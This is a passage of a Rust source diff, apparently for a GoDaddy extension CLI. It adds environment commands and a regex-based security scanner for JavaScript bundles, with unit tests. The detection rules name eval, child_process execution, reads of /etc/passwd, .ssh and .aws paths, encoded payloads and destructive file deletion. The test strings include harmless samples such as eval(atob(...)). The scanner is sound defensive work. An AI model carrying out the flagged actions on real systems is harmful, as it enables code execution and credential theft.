.with_command(RuntimeCommandSpec::new( + CommandSpec::new("get", "Get the active environment") + .with_system("env") + .with_tier(Tier::Read), + |_cred, _args| async move { + let env = get_env().unwrap_or_else(|| "ote".to_owned()); + Ok(CommandResult::new(json!({ + "env": env, + "apiUrl": api_url_for(&env), + }))) + }, + )) + .with_command(RuntimeCommandSpec::new_with_context( + CommandSpec::new("set", "Set the active environment") + .with_system("env") + .with_tier(Tier::Mutate) + .with_arg( + clap::Arg::new("env") + .value_name("ENV") + .required(true) + .help("Environment to activate (ote|prod)"), + ), + |ctx| async move { + let env = ctx + .args + .get("env") + .and_then(|v| v.as_str()) + .unwrap_or("") + .to_owned(); + if !KNOWN_ENVS.contains(&env.as_str()) { + return Err(cli_engine::CliCoreError::message(format!( + "unknown environment {env:?}; expected one of: {}", + KNOWN_ENVS.join(", ") + ))); + } + set_env(&env).map_err(|e| { + cli_engine::CliCoreError::message(format!("failed to write ~/.gdenv: {e}")) + })?; + Ok(CommandResult::new(json!({ + "env": env, + "apiUrl": api_url_for(&env), + }))) + }, + )) + .with_command(RuntimeCommandSpec::new( + CommandSpec::new("info", "Show details for the active environment") + .with_system("env") + .with_tier(Tier::Read), + |_cred, _args| async move { + let env = get_env().unwrap_or_else(|| "ote".to_owned()); + Ok(CommandResult::new(json!({ + "env": env, + "apiUrl": api_url_for(&env), + "graphqlUrl": format!("{}/v1/applications/graphql", api_url_for(&env)), + }))) + }, + )) + }) +} diff --git a/rust/src/extension/mod.rs b/rust/src/extension/mod.rs new file mode 100644 index 0000000..e0d33bc --- /dev/null +++ b/rust/src/extension/mod.rs @@ -0,0 +1,1736 @@ +use std::{ + path::{Path, PathBuf}, + sync::OnceLock, +}; + +use sha2::Digest as _; + +// --------------------------------------------------------------------------- +// Public types +// --------------------------------------------------------------------------- + +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum ExtensionType { + Embed, + Checkout, + Blocks, +} + +pub struct BundleResult { + pub bytes: Vec, + pub sha256: String, +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum Severity { + Block, + Warn, +} + +#[derive(Debug)] +pub struct Finding { + pub rule_id: &'static str, + pub severity: Severity, + pub message: &'static str, + pub file: String, + pub line: usize, + pub snippet: String, +} + +// --------------------------------------------------------------------------- +// Bundle security rules (SEC101–SEC110) +// Ported from src/core/security/rules/bundle/ in the TypeScript CLI. +// --------------------------------------------------------------------------- + +struct RuleDef { + id: &'static str, + severity: Severity, + description: &'static str, + /// Main detection patterns. + patterns: &'static [&'static str], + /// Two-pass signal patterns: if non-empty and none match, skip this rule. + signal_patterns: &'static [&'static str], +} + +struct CompiledRule { + id: &'static str, + severity: Severity, + description: &'static str, + patterns: Vec, + signal_patterns: Vec, +} + +static RULE_DEFS: &[RuleDef] = &[ + // SEC101 — eval / Function constructor + RuleDef { + id: "SEC101", + severity: Severity::Block, + description: "Bundled code contains eval() or Function constructor which can execute arbitrary code", + signal_patterns: &[], + patterns: &[ + r#"(?m)(?:^|[^\w$])eval\s*\("#, + r#"(?m)(?:^|[^\w$])new\s+Function\s*\("#, + r#"(?:globalThis|window|self)\.eval\s*\("#, + r#"(?:globalThis|window|self)\[['"]eval['"]\]\s*\("#, + r#"\[['"]eval['"]\]\s*\("#, + r#"\[['"]Function['"]\]\s*\("#, + r#"(?:eval|Function|setTimeout|setInterval)\s*\(\s*(?:atob\([^)]*\)|Buffer\.from\([^,]+,\s*['"\x60]base64['"\x60]\))"#, + r#"eval\s*\(\s*['"\x60](?:\\x[0-9A-Fa-f]{2}){8,}['"\x60]\s*\)"#, + ], + }, + // SEC102 — child_process (two-pass) + RuleDef { + id: "SEC102", + severity: Severity::Block, + description: "Bundled code imports and uses child_process module which can execute shell commands", + signal_patterns: &[ + r#"require\s*\(\s*['"](?:node:)?child_process['"]\s*\)"#, + r#"from\s*['"](?:node:)?child_process['"]"#, + r#"import\s*\(\s*['"](?:node:)?child_process['"]\s*\)"#, + r#"require_child_process\s*\("#, + r#"__require\s*\(\s*['"]child_process['"]\s*\)"#, + r#"\b[a-z]\s*\(\s*['"](?:node:)?child_process['"]\s*\)"#, + r#"require\s*\(\s*['"](?:node:)?child['"]\s*\+\s*['"]_?process['"]\s*\)"#, + r#"(?:require|import)\s*\(\s*(?:atob\([^)]*\)|Buffer\.from\([^,]+,\s*['"\x60]base64['"\x60]\)\.toString\(\))"#, + ], + patterns: &[ + r#"\bexec\s*\("#, + r#"\bexecSync\s*\("#, + r#"\bexecFile\s*\("#, + r#"\bexecFileSync\s*\("#, + r#"\bspawn\s*\("#, + r#"\bspawnSync\s*\("#, + r#"\bfork\s*\("#, + ], + }, + // SEC103 — vm module (two-pass) + RuleDef { + id: "SEC103", + severity: Severity::Block, + description: "Bundled code imports and uses vm module which enables arbitrary code execution", + signal_patterns: &[ + r#"require\s*\(\s*['"](?:node:)?vm['"]\s*\)"#, + r#"from\s*['"](?:node:)?vm['"]"#, + r#"import\s*\(\s*['"](?:node:)?vm['"]\s*\)"#, + r#"require_vm\s*\("#, + r#"__require\s*\(\s*['"]vm['"]\s*\)"#, + ], + patterns: &[ + r#"\bScript\s*\("#, + r#"\.runInNewContext\s*\("#, + r#"\.runInContext\s*\("#, + r#"\.runInThisContext\s*\("#, + r#"\.createContext\s*\("#, + ], + }, + // SEC104 — process.binding / dlopen + RuleDef { + id: "SEC104", + severity: Severity::Block, + description: "Bundled code accesses Node.js internal bindings which can bypass security", + signal_patterns: &[], + patterns: &[ + r#"process\.binding\s*\("#, + r#"process\._linkedBinding\s*\("#, + r#"process\.dlopen\s*\("#, + r#"internalBinding\s*\("#, + r#"process\[['"]binding['"]\]\s*\("#, + r#"process\[['"]_linkedBinding['"]\]\s*\("#, + r#"process\[['"]dlopen['"]\]\s*\("#, + ], + }, + // SEC105 — native addons (two-pass) + RuleDef { + id: "SEC105", + severity: Severity::Block, + description: "Bundled code loads native addons which can bypass Node.js security", + signal_patterns: &[ + r#"require\s*\(\s*['"]bindings['"]\s*\)"#, + r#"require\s*\(\s*['"]node-gyp['"]\s*\)"#, + r#"require\s*\(\s*['"]ffi-napi['"]\s*\)"#, + r#"require\s*\(\s*['"]node-addon-api['"]\s*\)"#, + r#"from\s*['"]bindings['"]"#, + r#"from\s*['"]ffi-napi['"]"#, + r#"require_bindings\s*\("#, + ], + patterns: &[ + r#"['"]\.node['"]"#, + r#"\.node['"]\s*\)"#, + r#"process\.dlopen\s*\("#, + ], + }, + // SEC106 — module monkey-patching (two-pass) + RuleDef { + id: "SEC106", + severity: Severity::Block, + description: "Bundled code modifies module system internals which can hijack dependencies", + signal_patterns: &[ + r#"require\s*\(\s*['"]module['"]\s*\)"#, + r#"from\s*['"]module['"]"#, + r#"require_module\s*\("#, + ], + patterns: &[ + r#"Module\._load\s*="#, + r#"Module\._resolveFilename\s*="#, + r#"Module\._extensions\["#, + r#"require\.cache\s*\["#, + r#"delete\s+require\.cache"#, + r#"Module\[['"]_load['"]\]\s*="#, + r#"Module\[['"]_resolveFilename['"]\]\s*="#, + ], + }, + // SEC107 — inspector module (two-pass) + RuleDef { + id: "SEC107", + severity: Severity::Block, + description: "Bundled code uses inspector module which can enable remote debugging access", + signal_patterns: &[ + r#"require\s*\(\s*['"](?:node:)?inspector['"]\s*\)"#, + r#"from\s*['"](?:node:)?inspector['"]"#, + r#"import\s*\(\s*['"](?:node:)?inspector['"]\s*\)"#, + r#"require_inspector\s*\("#, + ], + patterns: &[ + r#"inspector\.open\s*\("#, + r#"inspector\.url\s*\("#, + r#"inspector\.waitForDebugger\s*\("#, + r#"inspector\[['"]open['"]\]\s*\("#, + ], + }, + // SEC108 — external URLs (two-pass, warn) + RuleDef { + id: "SEC108", + severity: Severity::Warn, + description: "Bundled code contains HTTP(S) URLs to external domains", + signal_patterns: &[ + r#"require\s*\(\s*['"](?:node:)?https?['"]\s*\)"#, + r#"from\s*['"](?:node:)?https?['"]"#, + r#"require\s*\(\s*['"]axios['"]\s*\)"#, + r#"from\s*['"]axios['"]"#, + ], + patterns: &[ + r#"https?://[^\s"'\x60<>]+"#, + r#"new\s+URL\s*\(\s*['"]https?:[^'"]+['"]\s*\)"#, + r#"fetch\s*\(\s*['"]https?:[^'"]+['"]\s*\)"#, + ], + }, + // SEC109 — large encoded blobs (warn) + RuleDef { + id: "SEC109", + severity: Severity::Warn, + description: "Bundled code contains large base64/hex encoded data that could hide malicious payloads", + signal_patterns: &[], + patterns: &[ + r#"Buffer\.from\s*\(\s*['"][A-Za-z0-9+/]{200,}={0,2}['"]\s*,\s*['"]base64['"]\s*\)"#, + r#"atob\s*\(\s*['"][A-Za-z0-9+/]{200,}={0,2}['"]\s*\)"#, + r#"Buffer\.from\s*\(\s*['"][A-Fa-f0-9]{400,}['"]\s*,\s*['"]hex['"]\s*\)"#, + ], + }, + // SEC110 — sensitive fs/net/env ops (two-pass, warn) + RuleDef { + id: "SEC110", + severity: Severity::Warn, + description: "Bundled code accesses sensitive paths, environment variables, or network APIs", + signal_patterns: &[ + r#"require\s*\(\s*['"](?:node:)?net['"]\s*\)"#, + r#"from\s*['"](?:node:)?net['"]"#, + r#"require\s*\(\s*['"](?:node:)?fs['"]\s*\)"#, + r#"from\s*['"](?:node:)?fs['"]"#, + ], + patterns: &[ + r#"net\.connect\s*\("#, + r#"net\.createConnection\s*\("#, + r#"process\.env\["#, + r#"process\.env\."#, + r#"['"]/(etc/passwd|etc/shadow|\.ssh/|\.aws/)"#, + r#"['"]~/\.ssh/"#, + r#"fs\.readFile(?:Sync)?\s*\(\s*['"][^'"]*\.env['"]"#, + ], + }, + // SEC111 — destructive fs operations (two-pass, block) + RuleDef { + id: "SEC111", + severity: Severity::Block, + description: "Bundled code performs destructive filesystem operations (unlink/rm/rmdir)", + signal_patterns: &[ + r#"require\s*\(\s*['"](?:node:)?fs['"]\s*\)"#, + r#"from\s*['"](?:node:)?fs['"]"#, + r#"require\s*\(\s*['"](?:node:)?fs/promises['"]\s*\)"#, + r#"from\s*['"](?:node:)?fs/promises['"]"#, + r#"require_fs\s*\("#, + ], + patterns: &[ + r#"\bunlink\s*\("#, + r#"\bunlinkSync\s*\("#, + r#"\brmdir\s*\("#, + r#"\brmdirSync\s*\("#, + r#"\brm\s*\("#, + r#"\brmSync\s*\("#, + ], + }, + // SEC112 — requests to untrusted domains (no signal, block) + RuleDef { + id: "SEC112", + severity: Severity::Block, + description: "Bundled code makes requests to domains outside the GoDaddy trusted allowlist", + signal_patterns: &[], + patterns: &[ + r#"https?://(?!(?:(?:[a-zA-Z0-9-]+\.)*godaddy\.com|localhost|127\.0\.0\.1)(?:[:/?#\s]|$))[^\s"'\x60<>]+"#, + ], + }, + // SEC113 — any encoded payload (no signal, block) + RuleDef { + id: "SEC113", + severity: Severity::Block, + description: "Bundled code uses base64/hex encoding that could conceal malicious payloads", + signal_patterns: &[], + patterns: &[ + r#"\batob\s*\("#, + r#"Buffer\.from\s*\(\s*['"][^'"]+['"]\s*,\s*['"](?:base64|hex)['"]"#, + ], + }, + // SEC114 — debugger statement (no signal, block) + RuleDef { + id: "SEC114", + severity: Severity::Block, + description: "Bundled code contains a debugger statement which enables remote debugging access", + signal_patterns: &[], + patterns: &[ + r#"\bdebugger\b"#, + ], + }, + // SEC115 — dynamic require/import (no signal, block) + RuleDef { + id: "SEC115", + severity: Severity::Block, + description: "Bundled code uses dynamic require() or import() with non-literal arguments", + signal_patterns: &[], + patterns: &[ + r#"\brequire\s*\(\s*(?!['"\x60])"#, + r#"\bimport\s*\(\s*(?!['"\x60])"#, + ], + }, +]; + +static COMPILED: OnceLock> = OnceLock::new(); + +fn compiled_rules() -> &'static [CompiledRule] { + COMPILED.get_or_init(|| { + RULE_DEFS + .iter() + .map(|def| CompiledRule { + id: def.id, + severity: def.severity, + description: def.description, + patterns: def + .patterns + .iter() + .map(|p| fancy_regex::Regex::new(p).expect("invalid bundle rule pattern")) + .collect(), + signal_patterns: def + .signal_patterns + .iter() + .map(|p| fancy_regex::Regex::new(p).expect("invalid bundle signal pattern")) + .collect(), + }) + .collect() + }) +} + +// --------------------------------------------------------------------------- +// Scanner helpers +// --------------------------------------------------------------------------- + +fn line_number(content: &str, byte_offset: usize) -> usize { + content[..byte_offset] + .bytes() + .filter(|&b| b == b'\n') + .count() + + 1 +} + +fn extract_snippet(content: &str, byte_offset: usize) -> String { + let line_start = content[..byte_offset] + .rfind('\n') + .map_or(0, |i| i + 1); + let line_end = content[byte_offset..] + .find('\n') + .map_or(content.len(), |i| byte_offset + i); + let line = &content[line_start..line_end]; + let pos = byte_offset - line_start; + let ctx = 25_usize; + let start = pos.saturating_sub(ctx); + let end = (pos + ctx).min(line.len()); + line[start..end].trim().to_owned() +} + +// --------------------------------------------------------------------------- +// Public scanner API +// --------------------------------------------------------------------------- + +pub fn scan_bundle(content: &str, file_path: &str) -> Vec { + let mut findings = Vec::new(); + + for rule in compiled_rules() { + if !rule.signal_patterns.is_empty() { + let signal_found = rule + .signal_patterns + .iter() + .any(|re| re.is_match(content).unwrap_or(false)); + if !signal_found { + continue; + } + for re in rule.signal_patterns.iter().chain(rule.patterns.iter()) { + for m in re.find_iter(content).filter_map(|m| m.ok()) { + findings.push(Finding { + rule_id: rule.id, + severity: rule.severity, + message: rule.description, + file: file_path.to_owned(), + line: line_number(content, m.start()), + snippet: extract_snippet(content, m.start()), + }); + } + } + } else { + for re in &rule.patterns { + for m in re.find_iter(content).filter_map(|m| m.ok()) { + findings.push(Finding { + rule_id: rule.id, + severity: rule.severity, + message: rule.description, + file: file_path.to_owned(), + line: line_number(content, m.start()), + snippet: extract_snippet(content, m.start()), + }); + } + } + } + } + + findings.sort_by_key(|f| f.line); + findings +} + +pub fn is_blocked(findings: &[Finding]) -> bool { + findings.iter().any(|f| f.severity == Severity::Block) +} + +// --------------------------------------------------------------------------- +// Bundler +// --------------------------------------------------------------------------- + +fn find_esbuild() -> PathBuf { + if let Ok(cwd) = std::env::current_dir() { + let mut dir = cwd.as_path(); + loop { + let candidate = dir.join("node_modules/.bin/esbuild"); + if candidate.exists() { + return candidate; + } + match dir.parent() { + Some(p) => dir = p, + None => break, + } + } + } + PathBuf::from("esbuild") +} + +pub async fn bundle_extension( + source_path: &Path, + ext_type: ExtensionType, + ext_dir: &Path, +) -> Result { + let esbuild = find_esbuild(); + + let millis = std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .unwrap_or_default() + .as_millis(); + let temp_dir = std::env::temp_dir().join(format!("godaddy-bundle-{millis}")); + tokio::fs::create_dir_all(&temp_dir) + .await + .map_err(|e| format!("failed to create temp dir: {e}"))?; + + let mut args: Vec = vec![ + source_path.to_string_lossy().into_owned(), + "--bundle".to_owned(), + "--minify".to_owned(), + "--sourcemap=external".to_owned(), + format!("--outdir={}", temp_dir.display()), + "--out-extension:.js=.mjs".to_owned(), + "--log-level=silent".to_owned(), + "--external:node:*".to_owned(), + "--external:@wsblocks/*".to_owned(), + ]; + + match ext_type { + ExtensionType::Blocks => { + args.push("--platform=node".to_owned()); + args.push("--format=esm".to_owned()); + args.push("--target=node22".to_owned()); + args.push("--external:react".to_owned()); + args.push("--external:react/*".to_owned()); + args.push("--external:react-dom".to_owned()); + args.push("--external:react-dom/*".to_owned()); + } + ExtensionType::Embed | ExtensionType::Checkout => { + args.push("--platform=browser".to_owned()); + args.push("--format=iife".to_owned()); + args.push("--target=es2020".to_owned()); + args.push("--alias:react=preact/compat".to_owned()); + args.push("--alias:react-dom=preact/compat".to_owned()); + args.push("--alias:react/jsx-runtime=preact/jsx-runtime".to_owned()); + } + } + + let ext_node_modules = ext_dir.join("node_modules"); + if ext_node_modules.exists() { + args.push(format!("--node-paths={}", ext_node_modules.display())); + } + + let output = tokio::process::Command::new(&esbuild) + .args(&args) + .output() + .await + .map_err(|e| format!("failed to run esbuild ({}): {e}", esbuild.display()))?; + + if !output.status.success() { + let stderr = String::from_utf8_lossy(&output.stderr).into_owned(); + tokio::fs::remove_dir_all(&temp_dir).await.ok(); + return Err(format!("esbuild failed: {stderr}")); + } + + let mjs_path = find_output_mjs(&temp_dir).await?; + let raw_bytes = tokio::fs::read(&mjs_path) + .await + .map_err(|e| format!("failed to read bundle output: {e}"))?; + + // Strip sourcemap comment before hashing (matches TS behavior). + let content = String::from_utf8_lossy(&raw_bytes); + let stripped = strip_sourcemap_comment(&content); + let sha256 = sha256_hex(stripped.as_bytes()); + let bytes = stripped.into_bytes(); + + tokio::fs::remove_dir_all(&temp_dir).await.ok(); + + Ok(BundleResult { bytes, sha256 }) +} + +async fn find_output_mjs(dir: &Path) -> Result { + let mut read_dir = tokio::fs::read_dir(dir) + .await + .map_err(|e| format!("failed to read temp dir: {e}"))?; + while let Ok(Some(entry)) = read_dir.next_entry().await { + let path = entry.path(); + if path.extension().and_then(|e| e.to_str()) == Some("mjs") { + return Ok(path); + } + } + Err("esbuild produced no .mjs output file".to_owned()) +} + +fn strip_sourcemap_comment(content: &str) -> String { + let stripped: Vec<&str> = content + .lines() + .filter(|line| !line.trim_start().starts_with("//# sourceMappingURL=")) + .collect(); + stripped.join("\n").trim_end().to_owned() +} + +fn sha256_hex(bytes: &[u8]) -> String { + sha2::Sha256::digest(bytes) + .iter() + .map(|b| format!("{b:02x}")) + .collect() +} + +// --------------------------------------------------------------------------- +// Tests +// --------------------------------------------------------------------------- + +#[cfg(test)] +mod tests { + use super::*; + + // ----------------------------------------------------------------------- + // line_number helper + // ----------------------------------------------------------------------- + + #[test] + fn line_number_first_line_start() { + assert_eq!(line_number("hello", 0), 1); + } + + #[test] + fn line_number_first_line_end() { + assert_eq!(line_number("hello", 4), 1); + } + + #[test] + fn line_number_second_line() { + let s = "line1\nline2"; + assert_eq!(line_number(s, 6), 2); + } + + #[test] + fn line_number_third_line() { + let s = "a\nb\nc"; + assert_eq!(line_number(s, 4), 3); + } + + #[test] + fn line_number_at_newline_char() { + let s = "a\nb"; + assert_eq!(line_number(s, 1), 1); + } + + #[test] + fn line_number_crlf_counts_only_lf() { + let s = "line1\r\nline2"; + assert_eq!(line_number(s, 7), 2); + } + + #[test] + fn line_number_empty_offset() { + assert_eq!(line_number("", 0), 1); + } + + // ----------------------------------------------------------------------- + // extract_snippet helper + // ----------------------------------------------------------------------- + + #[test] + fn extract_snippet_short_line() { + let s = r#"const x = eval("bad");"#; + let snip = extract_snippet(s, 10); + assert!(snip.contains("eval"), "snippet: {snip}"); + } + + #[test] + fn extract_snippet_truncates_long_line() { + let long = format!("{}MATCH{}", "a".repeat(40), "b".repeat(40)); + let pos = 40; + let snip = extract_snippet(&long, pos); + assert!(snip.contains("MATCH"), "snippet: {snip}"); + assert!(snip.len() <= 60, "snippet too long: {snip}"); + } + + #[test] + fn extract_snippet_does_not_cross_newlines() { + let s = "line1\neval(\"bad\")\nline3"; + let snip = extract_snippet(s, 6); + assert!(snip.contains("eval"), "snippet: {snip}"); + assert!(!snip.contains("line1"), "leaked into prev line: {snip}"); + assert!(!snip.contains("line3"), "leaked into next line: {snip}"); + } + + #[test] + fn extract_snippet_at_file_start() { + let s = "eval(\"x\") + 1"; + let snip = extract_snippet(s, 0); + assert!(snip.contains("eval"), "snippet: {snip}"); + } + + // ----------------------------------------------------------------------- + // strip_sourcemap_comment + // ----------------------------------------------------------------------- + + #[test] + fn strip_removes_sourcemap_line() { + let content = "const x = 1;\n//# sourceMappingURL=bundle.mjs.map\n"; + let result = strip_sourcemap_comment(content); + assert!(!result.contains("sourceMappingURL"), "result: {result}"); + assert!(result.contains("const x = 1;"), "result: {result}"); + } + + #[test] + fn strip_keeps_other_content_intact() { + let content = "const a = 1;\nconst b = 2;\n"; + let result = strip_sourcemap_comment(content); + assert!(result.contains("const a = 1;"), "result: {result}"); + assert!(result.contains("const b = 2;"), "result: {result}"); + } + + #[test] + fn strip_no_sourcemap_is_noop() { + let content = "const x = 1;"; + let result = strip_sourcemap_comment(content); + assert!(result.contains("const x = 1;"), "result: {result}"); + } + + // ----------------------------------------------------------------------- + // sha256_hex + // ----------------------------------------------------------------------- + + #[test] + fn sha256_empty_input() { + let hex = sha256_hex(b""); + assert_eq!(hex.len(), 64); + assert_eq!( + hex, + "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + ); + } + + #[test] + fn sha256_known_value() { + let hex = sha256_hex(b"hello"); + assert_eq!( + hex, + "2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824" + ); + } + + // ----------------------------------------------------------------------- + // is_blocked + // ----------------------------------------------------------------------- + + #[test] + fn is_blocked_empty_findings() { + assert!(!is_blocked(&[])); + } + + #[test] + fn is_blocked_warn_only_returns_false() { + let findings = vec![Finding { + rule_id: "SEC108", + severity: Severity::Warn, + message: "test", + file: "f.mjs".to_owned(), + line: 1, + snippet: String::new(), + }]; + assert!(!is_blocked(&findings)); + } + + #[test] + fn is_blocked_block_finding_returns_true() { + let findings = vec![Finding { + rule_id: "SEC101", + severity: Severity::Block, + message: "test", + file: "f.mjs".to_owned(), + line: 1, + snippet: String::new(), + }]; + assert!(is_blocked(&findings)); + } + + #[test] + fn is_blocked_mixed_returns_true() { + let findings = vec![ + Finding { + rule_id: "SEC108", + severity: Severity::Warn, + message: "warn", + file: "f.mjs".to_owned(), + line: 1, + snippet: String::new(), + }, + Finding { + rule_id: "SEC101", + severity: Severity::Block, + message: "block", + file: "f.mjs".to_owned(), + line: 2, + snippet: String::new(), + }, + ]; + assert!(is_blocked(&findings)); + } + + // ----------------------------------------------------------------------- + // scan_bundle: general + // ----------------------------------------------------------------------- + + #[test] + fn scan_clean_content_no_findings() { + let findings = scan_bundle("const x = 1 + 2;\nconsole.log(x);\n", "clean.mjs"); + assert!(findings.is_empty(), "expected no findings: {findings:?}"); + } + + #[test] + fn scan_results_sorted_by_line() { + let content = "eval(\"first\");\nclean;\neval(\"second\");"; + let findings = scan_bundle(content, "test.mjs"); + let lines: Vec = findings.iter().map(|f| f.line).collect(); + let mut sorted = lines.clone(); + sorted.sort_unstable(); + assert_eq!(lines, sorted, "findings not sorted by line"); + } + + // ----------------------------------------------------------------------- + // SEC101 — eval / Function constructor + // ----------------------------------------------------------------------- + + #[test] + fn sec101_eval_call() { + let findings = scan_bundle(r#"const x = eval("code");"#, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC101"), + "findings: {findings:?}" + ); + assert!(is_blocked(&findings)); + } + + #[test] + fn sec101_eval_with_whitespace() { + let findings = scan_bundle(r#"x = eval ( "code" );"#, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC101"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec101_new_function_constructor() { + let findings = scan_bundle(r#"const f = new Function("return 1");"#, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC101"), + "findings: {findings:?}" + ); + assert!(is_blocked(&findings)); + } + + #[test] + fn sec101_bracket_function_constructor() { + let findings = scan_bundle(r#"const f = ["Function"]("return 1");"#, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC101"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec101_globalthis_eval() { + let findings = scan_bundle(r#"globalThis.eval("code");"#, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC101"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec101_globalthis_bracket_eval() { + let findings = scan_bundle(r#"globalThis["eval"]("code");"#, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC101"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec101_window_eval() { + let findings = scan_bundle(r#"window.eval("code");"#, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC101"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec101_self_eval() { + let findings = scan_bundle(r#"self.eval("code");"#, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC101"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec101_eval_atob() { + let findings = scan_bundle(r#"eval(atob("aGVsbG8="));"#, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC101"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec101_eval_buffer_base64() { + let findings = + scan_bundle(r#"eval(Buffer.from("aGVsbG8=", "base64"));"#, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC101"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec101_no_match_evaluation_variable() { + let findings = scan_bundle(r#"const evaluation = "test";"#, "test.mjs"); + assert!( + findings.iter().all(|f| f.rule_id != "SEC101"), + "unexpected SEC101: {findings:?}" + ); + } + + #[test] + fn sec101_no_match_word_boundary() { + let findings = scan_bundle(r#"function fooeval(x) { return x; }"#, "test.mjs"); + assert!( + findings.iter().all(|f| f.rule_id != "SEC101"), + "unexpected SEC101: {findings:?}" + ); + } + + // ----------------------------------------------------------------------- + // SEC102 — child_process (two-pass) + // ----------------------------------------------------------------------- + + #[test] + fn sec102_require_child_process_with_exec() { + let content = r#"var cp = require("child_process"); cp.exec("ls");"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC102"), + "findings: {findings:?}" + ); + assert!(is_blocked(&findings)); + } + + #[test] + fn sec102_require_node_child_process_with_spawn() { + let content = r#"var cp = require("node:child_process"); cp.spawn("ls");"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC102"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec102_esm_import_with_exec() { + let content = r#"import { exec } from "child_process"; exec("ls");"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC102"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec102_dynamic_import_with_spawn() { + let content = r#"const cp = await import("child_process"); cp.spawn("ls");"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC102"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec102_bundler_helper_with_execsync() { + let content = r#"var cp = require_child_process(); cp.execSync("ls");"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC102"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec102_fork_detected() { + let content = r#"var cp = require("child_process"); cp.fork("worker.js");"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC102"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec102_exec_without_import_no_match() { + let findings = scan_bundle(r#"const r = exec("ls");"#, "test.mjs"); + assert!( + findings.iter().all(|f| f.rule_id != "SEC102"), + "SEC102 should not fire without import: {findings:?}" + ); + } + + #[test] + fn sec102_no_signal_skips_rule() { + let findings = scan_bundle(r#"function fork() { return 1; }"#, "test.mjs"); + assert!( + findings.iter().all(|f| f.rule_id != "SEC102"), + "SEC102 should not fire without import signal: {findings:?}" + ); + } + + // ----------------------------------------------------------------------- + // SEC103 — vm module (two-pass) + // ----------------------------------------------------------------------- + + #[test] + fn sec103_require_vm_with_script() { + let content = r#"var vm = require("vm"); new vm.Script("code");"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC103"), + "findings: {findings:?}" + ); + assert!(is_blocked(&findings)); + } + + #[test] + fn sec103_require_node_vm_with_run() { + let content = r#"var vm = require("node:vm"); vm.runInNewContext("1+1", {});"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC103"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec103_esm_import_vm_with_run_in_this_context() { + let content = r#"import * as vm from "vm"; vm.runInThisContext("1+1");"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC103"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec103_run_in_context() { + let content = r#"var vm = require("vm"); ctx.runInContext("code");"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC103"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec103_create_context() { + let content = r#"var vm = require("vm"); vm.createContext({});"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC103"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec103_no_signal_skips_rule() { + let findings = scan_bundle(r#"ctx.runInNewContext("1+1", {});"#, "test.mjs"); + assert!( + findings.iter().all(|f| f.rule_id != "SEC103"), + "SEC103 should not fire without vm import: {findings:?}" + ); + } + + // ----------------------------------------------------------------------- + // SEC104 — process.binding / dlopen (no signal required) + // ----------------------------------------------------------------------- + + #[test] + fn sec104_process_binding() { + let findings = scan_bundle(r#"process.binding("fs");"#, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC104"), + "findings: {findings:?}" + ); + assert!(is_blocked(&findings)); + } + + #[test] + fn sec104_process_linked_binding() { + let findings = scan_bundle(r#"process._linkedBinding("crypto");"#, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC104"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec104_process_dlopen() { + let findings = scan_bundle(r#"process.dlopen(module, "binding.node");"#, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC104"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec104_internal_binding() { + let findings = scan_bundle(r#"const b = internalBinding("crypto");"#, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC104"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec104_bracket_binding() { + let findings = scan_bundle(r#"process["binding"]("fs");"#, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == 